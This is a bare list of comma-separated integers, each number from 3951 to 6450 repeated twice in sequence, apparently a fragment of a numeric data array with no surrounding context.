3951,3951,3952,3952,3953,3953,3954,3954,3955,3955,3956,3956,3957,3957,3958,3958,3959,3959,3960,3960,3961,3961,3962,3962,3963,3963,3964,3964,3965,3965,3966,3966,3967,3967,3968,3968,3969,3969,3970,3970,3971,3971,3972,3972,3973,3973,3974,3974,3975,3975,3976,3976,3977,3977,3978,3978,3979,3979,3980,3980,3981,3981,3982,3982,3983,3983,3984,3984,3985,3985,3986,3986,3987,3987,3988,3988,3989,3989,3990,3990,3991,3991,3992,3992,3993,3993,3994,3994,3995,3995,3996,3996,3997,3997,3998,3998,3999,3999,4000,4000,4001,4001,4002,4002,4003,4003,4004,4004,4005,4005,4006,4006,4007,4007,4008,4008,4009,4009,4010,4010,4011,4011,4012,4012,4013,4013,4014,4014,4015,4015,4016,4016,4017,4017,4018,4018,4019,4019,4020,4020,4021,4021,4022,4022,4023,4023,4024,4024,4025,4025,4026,4026,4027,4027,4028,4028,4029,4029,4030,4030,4031,4031,4032,4032,4033,4033,4034,4034,4035,4035,4036,4036,4037,4037,4038,4038,4039,4039,4040,4040,4041,4041,4042,4042,4043,4043,4044,4044,4045,4045,4046,4046,4047,4047,4048,4048,4049,4049,4050,4050,4051,4051,4052,4052,4053,4053,4054,4054,4055,4055,4056,4056,4057,4057,4058,4058,4059,4059,4060,4060,4061,4061,4062,4062,4063,4063,4064,4064,4065,4065,4066,4066,4067,4067,4068,4068,4069,4069,4070,4070,4071,4071,4072,4072,4073,4073,4074,4074,4075,4075,4076,4076,4077,4077,4078,4078,4079,4079,4080,4080,4081,4081,4082,4082,4083,4083,4084,4084,4085,4085,4086,4086,4087,4087,4088,4088,4089,4089,4090,4090,4091,4091,4092,4092,4093,4093,4094,4094,4095,4095,4096,4096,4097,4097,4098,4098,4099,4099,4100,4100,4101,4101,4102,4102,4103,4103,4104,4104,4105,4105,4106,4106,4107,4107,4108,4108,4109,4109,4110,4110,4111,4111,4112,4112,4113,4113,4114,4114,4115,4115,4116,4116,4117,4117,4118,4118,4119,4119,4120,4120,4121,4121,4122,4122,4123,4123,4124,4124,4125,4125,4126,4126,4127,4127,4128,4128,4129,4129,4130,4130,4131,4131,4132,4132,4133,4133,4134,4134,4135,4135,4136,4136,4137,4137,4138,4138,4139,4139,4140,4140,4141,4141,4142,4142,4143,4143,4144,4144,4145,4145,4146,4146,4147,4147,4148,4148,4149,4149,4150,4150,4151,4151,4152,4152,4153,4153,4154,4154,4155,4155,4156,4156,4157,4157,4158,4158,4159,4159,4160,4160,4161,4161,4162,4162,4163,4163,4164,4164,4165,4165,4166,4166,4167,4167,4168,4168,4169,4169,4170,4170,4171,4171,4172,4172,4173,4173,4174,4174,4175,4175,4176,4176,4177,4177,4178,4178,4179,4179,4180,4180,4181,4181,4182,4182,4183,4183,4184,4184,4185,4185,4186,4186,4187,4187,4188,4188,4189,4189,4190,4190,4191,4191,4192,4192,4193,4193,4194,4194,4195,4195,4196,4196,4197,4197,4198,4198,4199,4199,4200,4200,4201,4201,4202,4202,4203,4203,4204,4204,4205,4205,4206,4206,4207,4207,4208,4208,4209,4209,4210,4210,4211,4211,4212,4212,4213,4213,4214,4214,4215,4215,4216,4216,4217,4217,4218,4218,4219,4219,4220,4220,4221,4221,4222,4222,4223,4223,4224,4224,4225,4225,4226,4226,4227,4227,4228,4228,4229,4229,4230,4230,4231,4231,4232,4232,4233,4233,4234,4234,4235,4235,4236,4236,4237,4237,4238,4238,4239,4239,4240,4240,4241,4241,4242,4242,4243,4243,4244,4244,4245,4245,4246,4246,4247,4247,4248,4248,4249,4249,4250,4250,4251,4251,4252,4252,4253,4253,4254,4254,4255,4255,4256,4256,4257,4257,4258,4258,4259,4259,4260,4260,4261,4261,4262,4262,4263,4263,4264,4264,4265,4265,4266,4266,4267,4267,4268,4268,4269,4269,4270,4270,4271,4271,4272,4272,4273,4273,4274,4274,4275,4275,4276,4276,4277,4277,4278,4278,4279,4279,4280,4280,4281,4281,4282,4282,4283,4283,4284,4284,4285,4285,4286,4286,4287,4287,4288,4288,4289,4289,4290,4290,4291,4291,4292,4292,4293,4293,4294,4294,4295,4295,4296,4296,4297,4297,4298,4298,4299,4299,4300,4300,4301,4301,4302,4302,4303,4303,4304,4304,4305,4305,4306,4306,4307,4307,4308,4308,4309,4309,4310,4310,4311,4311,4312,4312,4313,4313,4314,4314,4315,4315,4316,4316,4317,4317,4318,4318,4319,4319,4320,4320,4321,4321,4322,4322,4323,4323,4324,4324,4325,4325,4326,4326,4327,4327,4328,4328,4329,4329,4330,4330,4331,4331,4332,4332,4333,4333,4334,4334,4335,4335,4336,4336,4337,4337,4338,4338,4339,4339,4340,4340,4341,4341,4342,4342,4343,4343,4344,4344,4345,4345,4346,4346,4347,4347,4348,4348,4349,4349,4350,4350,4351,4351,4352,4352,4353,4353,4354,4354,4355,4355,4356,4356,4357,4357,4358,4358,4359,4359,4360,4360,4361,4361,4362,4362,4363,4363,4364,4364,4365,4365,4366,4366,4367,4367,4368,4368,4369,4369,4370,4370,4371,4371,4372,4372,4373,4373,4374,4374,4375,4375,4376,4376,4377,4377,4378,4378,4379,4379,4380,4380,4381,4381,4382,4382,4383,4383,4384,4384,4385,4385,4386,4386,4387,4387,4388,4388,4389,4389,4390,4390,4391,4391,4392,4392,4393,4393,4394,4394,4395,4395,4396,4396,4397,4397,4398,4398,4399,4399,4400,4400,4401,4401,4402,4402,4403,4403,4404,4404,4405,4405,4406,4406,4407,4407,4408,4408,4409,4409,4410,4410,4411,4411,4412,4412,4413,4413,4414,4414,4415,4415,4416,4416,4417,4417,4418,4418,4419,4419,4420,4420,4421,4421,4422,4422,4423,4423,4424,4424,4425,4425,4426,4426,4427,4427,4428,4428,4429,4429,4430,4430,4431,4431,4432,4432,4433,4433,4434,4434,4435,4435,4436,4436,4437,4437,4438,4438,4439,4439,4440,4440,4441,4441,4442,4442,4443,4443,4444,4444,4445,4445,4446,4446,4447,4447,4448,4448,4449,4449,4450,4450,4451,4451,4452,4452,4453,4453,4454,4454,4455,4455,4456,4456,4457,4457,4458,4458,4459,4459,4460,4460,4461,4461,4462,4462,4463,4463,4464,4464,4465,4465,4466,4466,4467,4467,4468,4468,4469,4469,4470,4470,4471,4471,4472,4472,4473,4473,4474,4474,4475,4475,4476,4476,4477,4477,4478,4478,4479,4479,4480,4480,4481,4481,4482,4482,4483,4483,4484,4484,4485,4485,4486,4486,4487,4487,4488,4488,4489,4489,4490,4490,4491,4491,4492,4492,4493,4493,4494,4494,4495,4495,4496,4496,4497,4497,4498,4498,4499,4499,4500,4500,4501,4501,4502,4502,4503,4503,4504,4504,4505,4505,4506,4506,4507,4507,4508,4508,4509,4509,4510,4510,4511,4511,4512,4512,4513,4513,4514,4514,4515,4515,4516,4516,4517,4517,4518,4518,4519,4519,4520,4520,4521,4521,4522,4522,4523,4523,4524,4524,4525,4525,4526,4526,4527,4527,4528,4528,4529,4529,4530,4530,4531,4531,4532,4532,4533,4533,4534,4534,4535,4535,4536,4536,4537,4537,4538,4538,4539,4539,4540,4540,4541,4541,4542,4542,4543,4543,4544,4544,4545,4545,4546,4546,4547,4547,4548,4548,4549,4549,4550,4550,4551,4551,4552,4552,4553,4553,4554,4554,4555,4555,4556,4556,4557,4557,4558,4558,4559,4559,4560,4560,4561,4561,4562,4562,4563,4563,4564,4564,4565,4565,4566,4566,4567,4567,4568,4568,4569,4569,4570,4570,4571,4571,4572,4572,4573,4573,4574,4574,4575,4575,4576,4576,4577,4577,4578,4578,4579,4579,4580,4580,4581,4581,4582,4582,4583,4583,4584,4584,4585,4585,4586,4586,4587,4587,4588,4588,4589,4589,4590,4590,4591,4591,4592,4592,4593,4593,4594,4594,4595,4595,4596,4596,4597,4597,4598,4598,4599,4599,4600,4600,4601,4601,4602,4602,4603,4603,4604,4604,4605,4605,4606,4606,4607,4607,4608,4608,4609,4609,4610,4610,4611,4611,4612,4612,4613,4613,4614,4614,4615,4615,4616,4616,4617,4617,4618,4618,4619,4619,4620,4620,4621,4621,4622,4622,4623,4623,4624,4624,4625,4625,4626,4626,4627,4627,4628,4628,4629,4629,4630,4630,4631,4631,4632,4632,4633,4633,4634,4634,4635,4635,4636,4636,4637,4637,4638,4638,4639,4639,4640,4640,4641,4641,4642,4642,4643,4643,4644,4644,4645,4645,4646,4646,4647,4647,4648,4648,4649,4649,4650,4650,4651,4651,4652,4652,4653,4653,4654,4654,4655,4655,4656,4656,4657,4657,4658,4658,4659,4659,4660,4660,4661,4661,4662,4662,4663,4663,4664,4664,4665,4665,4666,4666,4667,4667,4668,4668,4669,4669,4670,4670,4671,4671,4672,4672,4673,4673,4674,4674,4675,4675,4676,4676,4677,4677,4678,4678,4679,4679,4680,4680,4681,4681,4682,4682,4683,4683,4684,4684,4685,4685,4686,4686,4687,4687,4688,4688,4689,4689,4690,4690,4691,4691,4692,4692,4693,4693,4694,4694,4695,4695,4696,4696,4697,4697,4698,4698,4699,4699,4700,4700,4701,4701,4702,4702,4703,4703,4704,4704,4705,4705,4706,4706,4707,4707,4708,4708,4709,4709,4710,4710,4711,4711,4712,4712,4713,4713,4714,4714,4715,4715,4716,4716,4717,4717,4718,4718,4719,4719,4720,4720,4721,4721,4722,4722,4723,4723,4724,4724,4725,4725,4726,4726,4727,4727,4728,4728,4729,4729,4730,4730,4731,4731,4732,4732,4733,4733,4734,4734,4735,4735,4736,4736,4737,4737,4738,4738,4739,4739,4740,4740,4741,4741,4742,4742,4743,4743,4744,4744,4745,4745,4746,4746,4747,4747,4748,4748,4749,4749,4750,4750,4751,4751,4752,4752,4753,4753,4754,4754,4755,4755,4756,4756,4757,4757,4758,4758,4759,4759,4760,4760,4761,4761,4762,4762,4763,4763,4764,4764,4765,4765,4766,4766,4767,4767,4768,4768,4769,4769,4770,4770,4771,4771,4772,4772,4773,4773,4774,4774,4775,4775,4776,4776,4777,4777,4778,4778,4779,4779,4780,4780,4781,4781,4782,4782,4783,4783,4784,4784,4785,4785,4786,4786,4787,4787,4788,4788,4789,4789,4790,4790,4791,4791,4792,4792,4793,4793,4794,4794,4795,4795,4796,4796,4797,4797,4798,4798,4799,4799,4800,4800,4801,4801,4802,4802,4803,4803,4804,4804,4805,4805,4806,4806,4807,4807,4808,4808,4809,4809,4810,4810,4811,4811,4812,4812,4813,4813,4814,4814,4815,4815,4816,4816,4817,4817,4818,4818,4819,4819,4820,4820,4821,4821,4822,4822,4823,4823,4824,4824,4825,4825,4826,4826,4827,4827,4828,4828,4829,4829,4830,4830,4831,4831,4832,4832,4833,4833,4834,4834,4835,4835,4836,4836,4837,4837,4838,4838,4839,4839,4840,4840,4841,4841,4842,4842,4843,4843,4844,4844,4845,4845,4846,4846,4847,4847,4848,4848,4849,4849,4850,4850,4851,4851,4852,4852,4853,4853,4854,4854,4855,4855,4856,4856,4857,4857,4858,4858,4859,4859,4860,4860,4861,4861,4862,4862,4863,4863,4864,4864,4865,4865,4866,4866,4867,4867,4868,4868,4869,4869,4870,4870,4871,4871,4872,4872,4873,4873,4874,4874,4875,4875,4876,4876,4877,4877,4878,4878,4879,4879,4880,4880,4881,4881,4882,4882,4883,4883,4884,4884,4885,4885,4886,4886,4887,4887,4888,4888,4889,4889,4890,4890,4891,4891,4892,4892,4893,4893,4894,4894,4895,4895,4896,4896,4897,4897,4898,4898,4899,4899,4900,4900,4901,4901,4902,4902,4903,4903,4904,4904,4905,4905,4906,4906,4907,4907,4908,4908,4909,4909,4910,4910,4911,4911,4912,4912,4913,4913,4914,4914,4915,4915,4916,4916,4917,4917,4918,4918,4919,4919,4920,4920,4921,4921,4922,4922,4923,4923,4924,4924,4925,4925,4926,4926,4927,4927,4928,4928,4929,4929,4930,4930,4931,4931,4932,4932,4933,4933,4934,4934,4935,4935,4936,4936,4937,4937,4938,4938,4939,4939,4940,4940,4941,4941,4942,4942,4943,4943,4944,4944,4945,4945,4946,4946,4947,4947,4948,4948,4949,4949,4950,4950,4951,4951,4952,4952,4953,4953,4954,4954,4955,4955,4956,4956,4957,4957,4958,4958,4959,4959,4960,4960,4961,4961,4962,4962,4963,4963,4964,4964,4965,4965,4966,4966,4967,4967,4968,4968,4969,4969,4970,4970,4971,4971,4972,4972,4973,4973,4974,4974,4975,4975,4976,4976,4977,4977,4978,4978,4979,4979,4980,4980,4981,4981,4982,4982,4983,4983,4984,4984,4985,4985,4986,4986,4987,4987,4988,4988,4989,4989,4990,4990,4991,4991,4992,4992,4993,4993,4994,4994,4995,4995,4996,4996,4997,4997,4998,4998,4999,4999,5000,5000,5001,5001,5002,5002,5003,5003,5004,5004,5005,5005,5006,5006,5007,5007,5008,5008,5009,5009,5010,5010,5011,5011,5012,5012,5013,5013,5014,5014,5015,5015,5016,5016,5017,5017,5018,5018,5019,5019,5020,5020,5021,5021,5022,5022,5023,5023,5024,5024,5025,5025,5026,5026,5027,5027,5028,5028,5029,5029,5030,5030,5031,5031,5032,5032,5033,5033,5034,5034,5035,5035,5036,5036,5037,5037,5038,5038,5039,5039,5040,5040,5041,5041,5042,5042,5043,5043,5044,5044,5045,5045,5046,5046,5047,5047,5048,5048,5049,5049,5050,5050,5051,5051,5052,5052,5053,5053,5054,5054,5055,5055,5056,5056,5057,5057,5058,5058,5059,5059,5060,5060,5061,5061,5062,5062,5063,5063,5064,5064,5065,5065,5066,5066,5067,5067,5068,5068,5069,5069,5070,5070,5071,5071,5072,5072,5073,5073,5074,5074,5075,5075,5076,5076,5077,5077,5078,5078,5079,5079,5080,5080,5081,5081,5082,5082,5083,5083,5084,5084,5085,5085,5086,5086,5087,5087,5088,5088,5089,5089,5090,5090,5091,5091,5092,5092,5093,5093,5094,5094,5095,5095,5096,5096,5097,5097,5098,5098,5099,5099,5100,5100,5101,5101,5102,5102,5103,5103,5104,5104,5105,5105,5106,5106,5107,5107,5108,5108,5109,5109,5110,5110,5111,5111,5112,5112,5113,5113,5114,5114,5115,5115,5116,5116,5117,5117,5118,5118,5119,5119,5120,5120,5121,5121,5122,5122,5123,5123,5124,5124,5125,5125,5126,5126,5127,5127,5128,5128,5129,5129,5130,5130,5131,5131,5132,5132,5133,5133,5134,5134,5135,5135,5136,5136,5137,5137,5138,5138,5139,5139,5140,5140,5141,5141,5142,5142,5143,5143,5144,5144,5145,5145,5146,5146,5147,5147,5148,5148,5149,5149,5150,5150,5151,5151,5152,5152,5153,5153,5154,5154,5155,5155,5156,5156,5157,5157,5158,5158,5159,5159,5160,5160,5161,5161,5162,5162,5163,5163,5164,5164,5165,5165,5166,5166,5167,5167,5168,5168,5169,5169,5170,5170,5171,5171,5172,5172,5173,5173,5174,5174,5175,5175,5176,5176,5177,5177,5178,5178,5179,5179,5180,5180,5181,5181,5182,5182,5183,5183,5184,5184,5185,5185,5186,5186,5187,5187,5188,5188,5189,5189,5190,5190,5191,5191,5192,5192,5193,5193,5194,5194,5195,5195,5196,5196,5197,5197,5198,5198,5199,5199,5200,5200,5201,5201,5202,5202,5203,5203,5204,5204,5205,5205,5206,5206,5207,5207,5208,5208,5209,5209,5210,5210,5211,5211,5212,5212,5213,5213,5214,5214,5215,5215,5216,5216,5217,5217,5218,5218,5219,5219,5220,5220,5221,5221,5222,5222,5223,5223,5224,5224,5225,5225,5226,5226,5227,5227,5228,5228,5229,5229,5230,5230,5231,5231,5232,5232,5233,5233,5234,5234,5235,5235,5236,5236,5237,5237,5238,5238,5239,5239,5240,5240,5241,5241,5242,5242,5243,5243,5244,5244,5245,5245,5246,5246,5247,5247,5248,5248,5249,5249,5250,5250,5251,5251,5252,5252,5253,5253,5254,5254,5255,5255,5256,5256,5257,5257,5258,5258,5259,5259,5260,5260,5261,5261,5262,5262,5263,5263,5264,5264,5265,5265,5266,5266,5267,5267,5268,5268,5269,5269,5270,5270,5271,5271,5272,5272,5273,5273,5274,5274,5275,5275,5276,5276,5277,5277,5278,5278,5279,5279,5280,5280,5281,5281,5282,5282,5283,5283,5284,5284,5285,5285,5286,5286,5287,5287,5288,5288,5289,5289,5290,5290,5291,5291,5292,5292,5293,5293,5294,5294,5295,5295,5296,5296,5297,5297,5298,5298,5299,5299,5300,5300,5301,5301,5302,5302,5303,5303,5304,5304,5305,5305,5306,5306,5307,5307,5308,5308,5309,5309,5310,5310,5311,5311,5312,5312,5313,5313,5314,5314,5315,5315,5316,5316,5317,5317,5318,5318,5319,5319,5320,5320,5321,5321,5322,5322,5323,5323,5324,5324,5325,5325,5326,5326,5327,5327,5328,5328,5329,5329,5330,5330,5331,5331,5332,5332,5333,5333,5334,5334,5335,5335,5336,5336,5337,5337,5338,5338,5339,5339,5340,5340,5341,5341,5342,5342,5343,5343,5344,5344,5345,5345,5346,5346,5347,5347,5348,5348,5349,5349,5350,5350,5351,5351,5352,5352,5353,5353,5354,5354,5355,5355,5356,5356,5357,5357,5358,5358,5359,5359,5360,5360,5361,5361,5362,5362,5363,5363,5364,5364,5365,5365,5366,5366,5367,5367,5368,5368,5369,5369,5370,5370,5371,5371,5372,5372,5373,5373,5374,5374,5375,5375,5376,5376,5377,5377,5378,5378,5379,5379,5380,5380,5381,5381,5382,5382,5383,5383,5384,5384,5385,5385,5386,5386,5387,5387,5388,5388,5389,5389,5390,5390,5391,5391,5392,5392,5393,5393,5394,5394,5395,5395,5396,5396,5397,5397,5398,5398,5399,5399,5400,5400,5401,5401,5402,5402,5403,5403,5404,5404,5405,5405,5406,5406,5407,5407,5408,5408,5409,5409,5410,5410,5411,5411,5412,5412,5413,5413,5414,5414,5415,5415,5416,5416,5417,5417,5418,5418,5419,5419,5420,5420,5421,5421,5422,5422,5423,5423,5424,5424,5425,5425,5426,5426,5427,5427,5428,5428,5429,5429,5430,5430,5431,5431,5432,5432,5433,5433,5434,5434,5435,5435,5436,5436,5437,5437,5438,5438,5439,5439,5440,5440,5441,5441,5442,5442,5443,5443,5444,5444,5445,5445,5446,5446,5447,5447,5448,5448,5449,5449,5450,5450,5451,5451,5452,5452,5453,5453,5454,5454,5455,5455,5456,5456,5457,5457,5458,5458,5459,5459,5460,5460,5461,5461,5462,5462,5463,5463,5464,5464,5465,5465,5466,5466,5467,5467,5468,5468,5469,5469,5470,5470,5471,5471,5472,5472,5473,5473,5474,5474,5475,5475,5476,5476,5477,5477,5478,5478,5479,5479,5480,5480,5481,5481,5482,5482,5483,5483,5484,5484,5485,5485,5486,5486,5487,5487,5488,5488,5489,5489,5490,5490,5491,5491,5492,5492,5493,5493,5494,5494,5495,5495,5496,5496,5497,5497,5498,5498,5499,5499,5500,5500,5501,5501,5502,5502,5503,5503,5504,5504,5505,5505,5506,5506,5507,5507,5508,5508,5509,5509,5510,5510,5511,5511,5512,5512,5513,5513,5514,5514,5515,5515,5516,5516,5517,5517,5518,5518,5519,5519,5520,5520,5521,5521,5522,5522,5523,5523,5524,5524,5525,5525,5526,5526,5527,5527,5528,5528,5529,5529,5530,5530,5531,5531,5532,5532,5533,5533,5534,5534,5535,5535,5536,5536,5537,5537,5538,5538,5539,5539,5540,5540,5541,5541,5542,5542,5543,5543,5544,5544,5545,5545,5546,5546,5547,5547,5548,5548,5549,5549,5550,5550,5551,5551,5552,5552,5553,5553,5554,5554,5555,5555,5556,5556,5557,5557,5558,5558,5559,5559,5560,5560,5561,5561,5562,5562,5563,5563,5564,5564,5565,5565,5566,5566,5567,5567,5568,5568,5569,5569,5570,5570,5571,5571,5572,5572,5573,5573,5574,5574,5575,5575,5576,5576,5577,5577,5578,5578,5579,5579,5580,5580,5581,5581,5582,5582,5583,5583,5584,5584,5585,5585,5586,5586,5587,5587,5588,5588,5589,5589,5590,5590,5591,5591,5592,5592,5593,5593,5594,5594,5595,5595,5596,5596,5597,5597,5598,5598,5599,5599,5600,5600,5601,5601,5602,5602,5603,5603,5604,5604,5605,5605,5606,5606,5607,5607,5608,5608,5609,5609,5610,5610,5611,5611,5612,5612,5613,5613,5614,5614,5615,5615,5616,5616,5617,5617,5618,5618,5619,5619,5620,5620,5621,5621,5622,5622,5623,5623,5624,5624,5625,5625,5626,5626,5627,5627,5628,5628,5629,5629,5630,5630,5631,5631,5632,5632,5633,5633,5634,5634,5635,5635,5636,5636,5637,5637,5638,5638,5639,5639,5640,5640,5641,5641,5642,5642,5643,5643,5644,5644,5645,5645,5646,5646,5647,5647,5648,5648,5649,5649,5650,5650,5651,5651,5652,5652,5653,5653,5654,5654,5655,5655,5656,5656,5657,5657,5658,5658,5659,5659,5660,5660,5661,5661,5662,5662,5663,5663,5664,5664,5665,5665,5666,5666,5667,5667,5668,5668,5669,5669,5670,5670,5671,5671,5672,5672,5673,5673,5674,5674,5675,5675,5676,5676,5677,5677,5678,5678,5679,5679,5680,5680,5681,5681,5682,5682,5683,5683,5684,5684,5685,5685,5686,5686,5687,5687,5688,5688,5689,5689,5690,5690,5691,5691,5692,5692,5693,5693,5694,5694,5695,5695,5696,5696,5697,5697,5698,5698,5699,5699,5700,5700,5701,5701,5702,5702,5703,5703,5704,5704,5705,5705,5706,5706,5707,5707,5708,5708,5709,5709,5710,5710,5711,5711,5712,5712,5713,5713,5714,5714,5715,5715,5716,5716,5717,5717,5718,5718,5719,5719,5720,5720,5721,5721,5722,5722,5723,5723,5724,5724,5725,5725,5726,5726,5727,5727,5728,5728,5729,5729,5730,5730,5731,5731,5732,5732,5733,5733,5734,5734,5735,5735,5736,5736,5737,5737,5738,5738,5739,5739,5740,5740,5741,5741,5742,5742,5743,5743,5744,5744,5745,5745,5746,5746,5747,5747,5748,5748,5749,5749,5750,5750,5751,5751,5752,5752,5753,5753,5754,5754,5755,5755,5756,5756,5757,5757,5758,5758,5759,5759,5760,5760,5761,5761,5762,5762,5763,5763,5764,5764,5765,5765,5766,5766,5767,5767,5768,5768,5769,5769,5770,5770,5771,5771,5772,5772,5773,5773,5774,5774,5775,5775,5776,5776,5777,5777,5778,5778,5779,5779,5780,5780,5781,5781,5782,5782,5783,5783,5784,5784,5785,5785,5786,5786,5787,5787,5788,5788,5789,5789,5790,5790,5791,5791,5792,5792,5793,5793,5794,5794,5795,5795,5796,5796,5797,5797,5798,5798,5799,5799,5800,5800,5801,5801,5802,5802,5803,5803,5804,5804,5805,5805,5806,5806,5807,5807,5808,5808,5809,5809,5810,5810,5811,5811,5812,5812,5813,5813,5814,5814,5815,5815,5816,5816,5817,5817,5818,5818,5819,5819,5820,5820,5821,5821,5822,5822,5823,5823,5824,5824,5825,5825,5826,5826,5827,5827,5828,5828,5829,5829,5830,5830,5831,5831,5832,5832,5833,5833,5834,5834,5835,5835,5836,5836,5837,5837,5838,5838,5839,5839,5840,5840,5841,5841,5842,5842,5843,5843,5844,5844,5845,5845,5846,5846,5847,5847,5848,5848,5849,5849,5850,5850,5851,5851,5852,5852,5853,5853,5854,5854,5855,5855,5856,5856,5857,5857,5858,5858,5859,5859,5860,5860,5861,5861,5862,5862,5863,5863,5864,5864,5865,5865,5866,5866,5867,5867,5868,5868,5869,5869,5870,5870,5871,5871,5872,5872,5873,5873,5874,5874,5875,5875,5876,5876,5877,5877,5878,5878,5879,5879,5880,5880,5881,5881,5882,5882,5883,5883,5884,5884,5885,5885,5886,5886,5887,5887,5888,5888,5889,5889,5890,5890,5891,5891,5892,5892,5893,5893,5894,5894,5895,5895,5896,5896,5897,5897,5898,5898,5899,5899,5900,5900,5901,5901,5902,5902,5903,5903,5904,5904,5905,5905,5906,5906,5907,5907,5908,5908,5909,5909,5910,5910,5911,5911,5912,5912,5913,5913,5914,5914,5915,5915,5916,5916,5917,5917,5918,5918,5919,5919,5920,5920,5921,5921,5922,5922,5923,5923,5924,5924,5925,5925,5926,5926,5927,5927,5928,5928,5929,5929,5930,5930,5931,5931,5932,5932,5933,5933,5934,5934,5935,5935,5936,5936,5937,5937,5938,5938,5939,5939,5940,5940,5941,5941,5942,5942,5943,5943,5944,5944,5945,5945,5946,5946,5947,5947,5948,5948,5949,5949,5950,5950,5951,5951,5952,5952,5953,5953,5954,5954,5955,5955,5956,5956,5957,5957,5958,5958,5959,5959,5960,5960,5961,5961,5962,5962,5963,5963,5964,5964,5965,5965,5966,5966,5967,5967,5968,5968,5969,5969,5970,5970,5971,5971,5972,5972,5973,5973,5974,5974,5975,5975,5976,5976,5977,5977,5978,5978,5979,5979,5980,5980,5981,5981,5982,5982,5983,5983,5984,5984,5985,5985,5986,5986,5987,5987,5988,5988,5989,5989,5990,5990,5991,5991,5992,5992,5993,5993,5994,5994,5995,5995,5996,5996,5997,5997,5998,5998,5999,5999,6000,6000,6001,6001,6002,6002,6003,6003,6004,6004,6005,6005,6006,6006,6007,6007,6008,6008,6009,6009,6010,6010,6011,6011,6012,6012,6013,6013,6014,6014,6015,6015,6016,6016,6017,6017,6018,6018,6019,6019,6020,6020,6021,6021,6022,6022,6023,6023,6024,6024,6025,6025,6026,6026,6027,6027,6028,6028,6029,6029,6030,6030,6031,6031,6032,6032,6033,6033,6034,6034,6035,6035,6036,6036,6037,6037,6038,6038,6039,6039,6040,6040,6041,6041,6042,6042,6043,6043,6044,6044,6045,6045,6046,6046,6047,6047,6048,6048,6049,6049,6050,6050,6051,6051,6052,6052,6053,6053,6054,6054,6055,6055,6056,6056,6057,6057,6058,6058,6059,6059,6060,6060,6061,6061,6062,6062,6063,6063,6064,6064,6065,6065,6066,6066,6067,6067,6068,6068,6069,6069,6070,6070,6071,6071,6072,6072,6073,6073,6074,6074,6075,6075,6076,6076,6077,6077,6078,6078,6079,6079,6080,6080,6081,6081,6082,6082,6083,6083,6084,6084,6085,6085,6086,6086,6087,6087,6088,6088,6089,6089,6090,6090,6091,6091,6092,6092,6093,6093,6094,6094,6095,6095,6096,6096,6097,6097,6098,6098,6099,6099,6100,6100,6101,6101,6102,6102,6103,6103,6104,6104,6105,6105,6106,6106,6107,6107,6108,6108,6109,6109,6110,6110,6111,6111,6112,6112,6113,6113,6114,6114,6115,6115,6116,6116,6117,6117,6118,6118,6119,6119,6120,6120,6121,6121,6122,6122,6123,6123,6124,6124,6125,6125,6126,6126,6127,6127,6128,6128,6129,6129,6130,6130,6131,6131,6132,6132,6133,6133,6134,6134,6135,6135,6136,6136,6137,6137,6138,6138,6139,6139,6140,6140,6141,6141,6142,6142,6143,6143,6144,6144,6145,6145,6146,6146,6147,6147,6148,6148,6149,6149,6150,6150,6151,6151,6152,6152,6153,6153,6154,6154,6155,6155,6156,6156,6157,6157,6158,6158,6159,6159,6160,6160,6161,6161,6162,6162,6163,6163,6164,6164,6165,6165,6166,6166,6167,6167,6168,6168,6169,6169,6170,6170,6171,6171,6172,6172,6173,6173,6174,6174,6175,6175,6176,6176,6177,6177,6178,6178,6179,6179,6180,6180,6181,6181,6182,6182,6183,6183,6184,6184,6185,6185,6186,6186,6187,6187,6188,6188,6189,6189,6190,6190,6191,6191,6192,6192,6193,6193,6194,6194,6195,6195,6196,6196,6197,6197,6198,6198,6199,6199,6200,6200,6201,6201,6202,6202,6203,6203,6204,6204,6205,6205,6206,6206,6207,6207,6208,6208,6209,6209,6210,6210,6211,6211,6212,6212,6213,6213,6214,6214,6215,6215,6216,6216,6217,6217,6218,6218,6219,6219,6220,6220,6221,6221,6222,6222,6223,6223,6224,6224,6225,6225,6226,6226,6227,6227,6228,6228,6229,6229,6230,6230,6231,6231,6232,6232,6233,6233,6234,6234,6235,6235,6236,6236,6237,6237,6238,6238,6239,6239,6240,6240,6241,6241,6242,6242,6243,6243,6244,6244,6245,6245,6246,6246,6247,6247,6248,6248,6249,6249,6250,6250,6251,6251,6252,6252,6253,6253,6254,6254,6255,6255,6256,6256,6257,6257,6258,6258,6259,6259,6260,6260,6261,6261,6262,6262,6263,6263,6264,6264,6265,6265,6266,6266,6267,6267,6268,6268,6269,6269,6270,6270,6271,6271,6272,6272,6273,6273,6274,6274,6275,6275,6276,6276,6277,6277,6278,6278,6279,6279,6280,6280,6281,6281,6282,6282,6283,6283,6284,6284,6285,6285,6286,6286,6287,6287,6288,6288,6289,6289,6290,6290,6291,6291,6292,6292,6293,6293,6294,6294,6295,6295,6296,6296,6297,6297,6298,6298,6299,6299,6300,6300,6301,6301,6302,6302,6303,6303,6304,6304,6305,6305,6306,6306,6307,6307,6308,6308,6309,6309,6310,6310,6311,6311,6312,6312,6313,6313,6314,6314,6315,6315,6316,6316,6317,6317,6318,6318,6319,6319,6320,6320,6321,6321,6322,6322,6323,6323,6324,6324,6325,6325,6326,6326,6327,6327,6328,6328,6329,6329,6330,6330,6331,6331,6332,6332,6333,6333,6334,6334,6335,6335,6336,6336,6337,6337,6338,6338,6339,6339,6340,6340,6341,6341,6342,6342,6343,6343,6344,6344,6345,6345,6346,6346,6347,6347,6348,6348,6349,6349,6350,6350,6351,6351,6352,6352,6353,6353,6354,6354,6355,6355,6356,6356,6357,6357,6358,6358,6359,6359,6360,6360,6361,6361,6362,6362,6363,6363,6364,6364,6365,6365,6366,6366,6367,6367,6368,6368,6369,6369,6370,6370,6371,6371,6372,6372,6373,6373,6374,6374,6375,6375,6376,6376,6377,6377,6378,6378,6379,6379,6380,6380,6381,6381,6382,6382,6383,6383,6384,6384,6385,6385,6386,6386,6387,6387,6388,6388,6389,6389,6390,6390,6391,6391,6392,6392,6393,6393,6394,6394,6395,6395,6396,6396,6397,6397,6398,6398,6399,6399,6400,6400,6401,6401,6402,6402,6403,6403,6404,6404,6405,6405,6406,6406,6407,6407,6408,6408,6409,6409,6410,6410,6411,6411,6412,6412,6413,6413,6414,6414,6415,6415,6416,6416,6417,6417,6418,6418,6419,6419,6420,6420,6421,6421,6422,6422,6423,6423,6424,6424,6425,6425,6426,6426,6427,6427,6428,6428,6429,6429,6430,6430,6431,6431,6432,6432,6433,6433,6434,6434,6435,6435,6436,6436,6437,6437,6438,6438,6439,6439,6440,6440,6441,6441,6442,6442,6443,6443,6444,6444,6445,6445,6446,6446,6447,6447,6448,6448,6449,6449,6450,6450,